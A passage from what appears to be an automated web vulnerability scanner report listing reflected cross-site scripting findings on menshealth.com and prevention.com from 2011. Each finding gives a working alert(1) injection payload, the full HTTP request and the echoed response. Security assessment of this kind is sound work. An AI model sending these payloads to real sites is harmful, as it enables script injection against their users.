The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cd4e7"><script>alert(1)</script>93b2e3e760a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mhlists/change_your_workout/?cd4e7"><script>alert(1)</script>93b2e3e760a=1 HTTP/1.1
Host: www.menshealth.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Content-Type: text/html
Date: Thu, 10 Mar 2011 16:47:28 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 69105

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
...[SNIP]...
<a href="mailto:?subject=Men's Health Lists - Switch Up a Boring Workout for Better Results&body=http://www.menshealth.com/mhlists/change_your_workout/?cd4e7"><script>alert(1)</script>93b2e3e760a=1">
...[SNIP]...

2.69. http://www.menshealth.com/mhlists/lose_weight/index.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/mhlists/lose_weight/index.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2265b"><script>alert(1)</script>38008c984f8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mhlists/lose_weight/index.php?2265b"><script>alert(1)</script>38008c984f8=1 HTTP/1.1
Host: www.menshealth.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Content-Type: text/html
Date: Thu, 10 Mar 2011 16:47:29 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 71095

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
...[SNIP]...
<a href="mailto:?subject=Men's Health Lists - 9 Weight-Loss Rules that Work&body=http://www.menshealth.com/mhlists/lose_weight/index.php?2265b"><script>alert(1)</script>38008c984f8=1">
...[SNIP]...

2.70. http://www.menshealth.com/mhlists/sculpt_rock_hard_abs/index.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/mhlists/sculpt_rock_hard_abs/index.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload be25a"><script>alert(1)</script>b3a5e873588 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mhlists/sculpt_rock_hard_abs/index.php?be25a"><script>alert(1)</script>b3a5e873588=1 HTTP/1.1
Host: www.menshealth.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Content-Type: text/html
Date: Thu, 10 Mar 2011 16:47:30 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 70869

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
...[SNIP]...
<a href="mailto:?subject=Men's Health Lists - Sculpt Rock-Hard Abs in 5 Steps&body=http://www.menshealth.com/mhlists/sculpt_rock_hard_abs/index.php?be25a"><script>alert(1)</script>b3a5e873588=1">
...[SNIP]...

2.71. http://www.menshealth.com/mhlists/women_s_secrets/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.menshealth.com
Path:	/mhlists/women_s_secrets/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3784e"><script>alert(1)</script>b1a5f15c19f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mhlists/women_s_secrets/?3784e"><script>alert(1)</script>b1a5f15c19f=1 HTTP/1.1
Host: www.menshealth.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: cmTPSet=Y;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.2.13
X-Powered-By: PHP/5.2.13
Content-Type: text/html
Date: Thu, 10 Mar 2011 16:47:28 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 80824

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
...[SNIP]...
<a href="mailto:?subject=Men's Health Lists - 30 Secrets Every Woman Keeps from Her Man&body=http://www.menshealth.com/mhlists/women_s_secrets/?3784e"><script>alert(1)</script>b1a5f15c19f=1">
...[SNIP]...

2.72. http://www.prevention.com/cda/article/tricks-of-my-trade/75bc88dc78803110VgnVCM10000013281eac____/lifelong.beauty/makeup/bobbi.brown [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/cda/article/tricks-of-my-trade/75bc88dc78803110VgnVCM10000013281eac____/lifelong.beauty/makeup/bobbi.brown

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload d69c5'style%3d'x%3aexpression(alert(1))'f84949f2dcb was submitted in the REST URL parameter 5. This input was echoed as d69c5'style='x:expression(alert(1))'f84949f2dcb in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /cda/article/tricks-of-my-trade/75bc88dc78803110VgnVCM10000013281eac____/lifelong.beautyd69c5'style%3d'x%3aexpression(alert(1))'f84949f2dcb/makeup/bobbi.brown HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 10 Mar 2011 17:05:24 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 57022

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<!-- Get the reqURL and pas
...[SNIP]...
<input type='hidden' name='channel' value='lifelong.beautyd69c5'style='x:expression(alert(1))'f84949f2dcb' >
...[SNIP]...

2.73. http://www.prevention.com/cda/article/tricks-of-my-trade/75bc88dc78803110VgnVCM10000013281eac____/lifelong.beauty/makeup/bobbi.brown [REST URL parameter 6] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/cda/article/tricks-of-my-trade/75bc88dc78803110VgnVCM10000013281eac____/lifelong.beauty/makeup/bobbi.brown

Issue detail

The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload eb53a'style%3d'x%3aexpression(alert(1))'f8b875ad203 was submitted in the REST URL parameter 6. This input was echoed as eb53a'style='x:expression(alert(1))'f8b875ad203 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /cda/article/tricks-of-my-trade/75bc88dc78803110VgnVCM10000013281eac____/lifelong.beauty/eb53a'style%3d'x%3aexpression(alert(1))'f8b875ad203/bobbi.brown HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 200 OK
Server: IBM_HTTP_Server
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Date: Thu, 10 Mar 2011 17:05:51 GMT
Connection: close
Connection: Transfer-Encoding
Content-Length: 66259

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html>

<!-- Get the reqURL and pas
...[SNIP]...
<input type='hidden' name='category' value='eb53a'style='x:expression(alert(1))'f8b875ad203' >
...[SNIP]...

2.74. http://www.prevention.com/cda/categorypage.do [category parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/cda/categorypage.do

Issue detail

The value of the category request parameter is copied into an HTML comment. The payload 1ccff--><script>alert(1)</script>9f6b2966833 was submitted in the category parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/categorypage.do?channel=news.voices&category=1ccff--><script>alert(1)</script>9f6b2966833&topic=slideshows HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 404 Not Found
Server: IBM_HTTP_Server
$WSEP:
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Expires: Thu, 10 Mar 2011 17:04:51 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:04:51 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=0000MHiT6PFBG0R40pivkWtXpec:145vrsjai; Path=/
Content-Length: 66032

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>
<title>Prevention.com - 404 Page Not Foun
...[SNIP]...
<script>alert(1)</script>9f6b2966833-categorylisting Generated at Thu Mar 10 12:04:51 EST 2011-->
...[SNIP]...

2.75. http://www.prevention.com/cda/categorypage.do [category parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/cda/categorypage.do

Issue detail

The value of the category request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f47b9"><script>alert(1)</script>91b875ad3d2 was submitted in the category parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/categorypage.do?channel=news.voices&category=f47b9"><script>alert(1)</script>91b875ad3d2&topic=slideshows HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 404 Not Found
Server: IBM_HTTP_Server
$WSEP:
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Expires: Thu, 10 Mar 2011 17:04:39 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:04:39 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=0000ea5RHMtAJ24-ypFfHS_uFIL:145vrsjho; Path=/
Content-Length: 66068

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>
<title>Prevention.com - 404 Page Not Foun
...[SNIP]...
<A HREF="http://ad.doubleclick.net/jump/prevention/newsvoices;topic=f47b9"><script>alert(1)</script>91b875ad3d2;sbtpc=slideshows;cat=;kw=;tile=1;slot=728x90.1;sz=728x90;dcopt=ist;ord=123456?" TARGET="_blank">
...[SNIP]...

2.76. http://www.prevention.com/cda/categorypage.do [category parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/cda/categorypage.do

Issue detail

The value of the category request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5a8a3</script><script>alert(1)</script>8c04b44dec1 was submitted in the category parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/categorypage.do?channel=news.voices&category=5a8a3</script><script>alert(1)</script>8c04b44dec1&topic=slideshows HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 404 Not Found
Server: IBM_HTTP_Server
$WSEP:
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Expires: Thu, 10 Mar 2011 17:04:49 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:04:49 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=0000SnHqX0d1m7-Kh50cYwu8Lvp:145vrsjho; Path=/
Content-Length: 66124

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>
   <title>Prevention.com - 404 Page Not Foun
...[SNIP]...
<!-- hide from non-JavaScript browsers
       var ord=Math.random()*10000000000000000;
       var tile= 1;
       var num = ord + "?";


                   var topic= "5a8a3</script><script>alert(1)</script>8c04b44dec1";


                           var sbtpc= "slideshows";


                           var cat= "";


       var    querystring = location.search.substring(1);
       var querystringArray = querystring.split("&");
       var s
...[SNIP]...

2.77. http://www.prevention.com/cda/categorypage.do [channel parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/cda/categorypage.do

Issue detail

The value of the channel request parameter is copied into an HTML comment. The payload d4987--><script>alert(1)</script>846ba86fdc2 was submitted in the channel parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/categorypage.do?channel=news.voicesd4987--><script>alert(1)</script>846ba86fdc2&category=multimedia&topic=slideshows HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 404 Not Found
Server: IBM_HTTP_Server
$WSEP:
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Expires: Thu, 10 Mar 2011 17:04:37 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:04:37 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=0000iUCmpjwqQ5TNypFA7u9eQEE:145vrsjai; Path=/
Content-Length: 65345

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>
<title>Prevention.com - 404 Page Not Foun
...[SNIP]...
<script>alert(1)</script>846ba86fdc2-header-refreshAdTag-false Generated at Thu Mar 10 12:04:37 EST 2011-->
...[SNIP]...

2.78. http://www.prevention.com/cda/categorypage.do [channel parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/cda/categorypage.do

Issue detail

The value of the channel request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 17009"><script>alert(1)</script>ec616cf732c was submitted in the channel parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/categorypage.do?channel=news.voices17009"><script>alert(1)</script>ec616cf732c&category=multimedia&topic=slideshows HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 404 Not Found
Server: IBM_HTTP_Server
$WSEP:
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Expires: Thu, 10 Mar 2011 17:04:29 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:04:29 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=0000u-jMr-9WCiCHL5pCz7Ims5c:145vrsjho; Path=/
Content-Length: 65326

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>
<title>Prevention.com - 404 Page Not Foun
...[SNIP]...
<A HREF="http://ad.doubleclick.net/jump/prevention/newsvoices17009"><script>alert(1)</script>ec616cf732c;topic=multimedia;sbtpc=slideshows;cat=;kw=;tile=1;slot=728x90.1;sz=728x90;dcopt=ist;ord=123456?" TARGET="_blank">
...[SNIP]...

2.79. http://www.prevention.com/cda/categorypage.do [channel parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/cda/categorypage.do

Issue detail

The value of the channel request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload c3eff'><script>alert(1)</script>ead12cfdf23 was submitted in the channel parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/categorypage.do?channel=news.voicesc3eff'><script>alert(1)</script>ead12cfdf23&category=multimedia&topic=slideshows HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 404 Not Found
Server: IBM_HTTP_Server
$WSEP:
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Expires: Thu, 10 Mar 2011 17:04:32 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:04:32 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=0000OS3jp_w-U-JUC1e9v_v1NSR:145vrsjai; Path=/
Content-Length: 65326

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>
<title>Prevention.com - 404 Page Not Foun
...[SNIP]...
<input type='hidden' name='channel' value='news.voicesc3eff'><script>alert(1)</script>ead12cfdf23' >
...[SNIP]...

2.80. http://www.prevention.com/cda/categorypage.do [channel parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/cda/categorypage.do

Issue detail

The value of the channel request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 8ba1e'%3balert(1)//78788485c98 was submitted in the channel parameter. This input was echoed as 8ba1e';alert(1)//78788485c98 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/categorypage.do?channel=news.voices8ba1e'%3balert(1)//78788485c98&category=multimedia&topic=slideshows HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 404 Not Found
Server: IBM_HTTP_Server
$WSEP:
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Expires: Thu, 10 Mar 2011 17:04:34 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:04:34 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=00003c0wv2W7dOTZ72nC-QVFVhn:145vrsjho; Path=/
Content-Length: 64827

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>
<title>Prevention.com - 404 Page Not Foun
...[SNIP]...
<scri' + 'pt type="text/javascript" language="JavaScript" src="http://ad.doubleclick.net/adj/' + siteName + '/newsvoices8ba1e';alert(1)//78788485c98;' + rasegs + ';topic=' + topic + ';sbtpc=' + sbtpc + ';cat=' + cat + ';kw=;tile=' + tile++ + ';slot=728x90.1;sz=728x90;dcopt=ist;ord=' + ord + '?" type="text/javascript">
...[SNIP]...

2.81. http://www.prevention.com/cda/channelpage.do [channel parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/cda/channelpage.do

Issue detail

The value of the channel request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dda04'%3balert(1)//7f033c0665c was submitted in the channel parameter. This input was echoed as dda04';alert(1)//7f033c0665c in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/channelpage.do?channel=dda04'%3balert(1)//7f033c0665c HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 404 Not Found
Server: IBM_HTTP_Server
$WSEP:
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Expires: Thu, 10 Mar 2011 17:04:48 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:04:48 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=00004OEwLPeeKy3O7OwRnRRVX2D:145vrsjai; Path=/
Content-Length: 64565

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>
<title>Prevention.com - 404 Page Not Foun
...[SNIP]...
<scri' + 'pt type="text/javascript" language="JavaScript" src="http://ad.doubleclick.net/adj/' + siteName + '/dda04';alert(1)//7f033c0665c;' + rasegs + ';topic=' + topic + ';sbtpc=' + sbtpc + ';cat=' + cat + ';kw=;tile=' + tile++ + ';slot=728x90.1;sz=728x90;dcopt=ist;ord=' + ord + '?" type="text/javascript">
...[SNIP]...

2.82. http://www.prevention.com/cda/channelpage.do [channel parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/cda/channelpage.do

Issue detail

The value of the channel request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 696b5"><script>alert(1)</script>0347072cfe was submitted in the channel parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/channelpage.do?channel=696b5"><script>alert(1)</script>0347072cfe HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 404 Not Found
Server: IBM_HTTP_Server
$WSEP:
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Expires: Thu, 10 Mar 2011 17:04:41 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:04:41 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=00009pX5xY_v7bPcTUcTjRVteHC:145vrsjai; Path=/
Content-Length: 64808

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>
<title>Prevention.com - 404 Page Not Foun
...[SNIP]...
<A HREF="http://ad.doubleclick.net/jump/prevention/696b5"><script>alert(1)</script>0347072cfe;topic=;sbtpc=;cat=;kw=;tile=1;slot=728x90.1;sz=728x90;dcopt=ist;ord=123456?" TARGET="_blank">
...[SNIP]...

2.83. http://www.prevention.com/cda/channelpage.do [channel parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/cda/channelpage.do

Issue detail

The value of the channel request parameter is copied into the value of an HTML tag attribute which is encapsulated in single quotation marks. The payload 9f64a'><script>alert(1)</script>d5f9ba885bc was submitted in the channel parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/channelpage.do?channel=9f64a'><script>alert(1)</script>d5f9ba885bc HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 404 Not Found
Server: IBM_HTTP_Server
$WSEP:
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Expires: Thu, 10 Mar 2011 17:04:46 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:04:46 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=000049alRyd0wlEKKdZo9LItXlP:145vrsjho; Path=/
Content-Length: 64827

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>

<head>
<title>Prevention.com - 404 Page Not Foun
...[SNIP]...
<input type='hidden' name='channel' value='9f64a'><script>alert(1)</script>d5f9ba885bc' >
...[SNIP]...

2.84. http://www.prevention.com/cda/channelpage.do [channel parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.prevention.com
Path:	/cda/channelpage.do

Issue detail

The value of the channel request parameter is copied into an HTML comment. The payload 4526d--><script>alert(1)</script>70532fedd4 was submitted in the channel parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /cda/channelpage.do?channel=4526d--><script>alert(1)</script>70532fedd4 HTTP/1.1
Host: www.prevention.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: _chartbeat2=euowlnyzs8ta0e5k; PVNCURURL=http://www.prevention.com/cda/homepage.do?cm_sp=Network%20Banner-_-PV-_-Rodale.com; __qca=P0-1842843424-1299775204149;

Response

HTTP/1.1 404 Not Found
Server: IBM_HTTP_Server
$WSEP:
Content-Type: text/html;charset=ISO-8859-1
Content-Language: en-US
Expires: Thu, 10 Mar 2011 17:04:52 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Thu, 10 Mar 2011 17:04:52 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: JSESSIONID=0000xWcPEy6b4i3ZVMsP9noNAmj:145vrsjai; Path=/
Content-Length: 64827

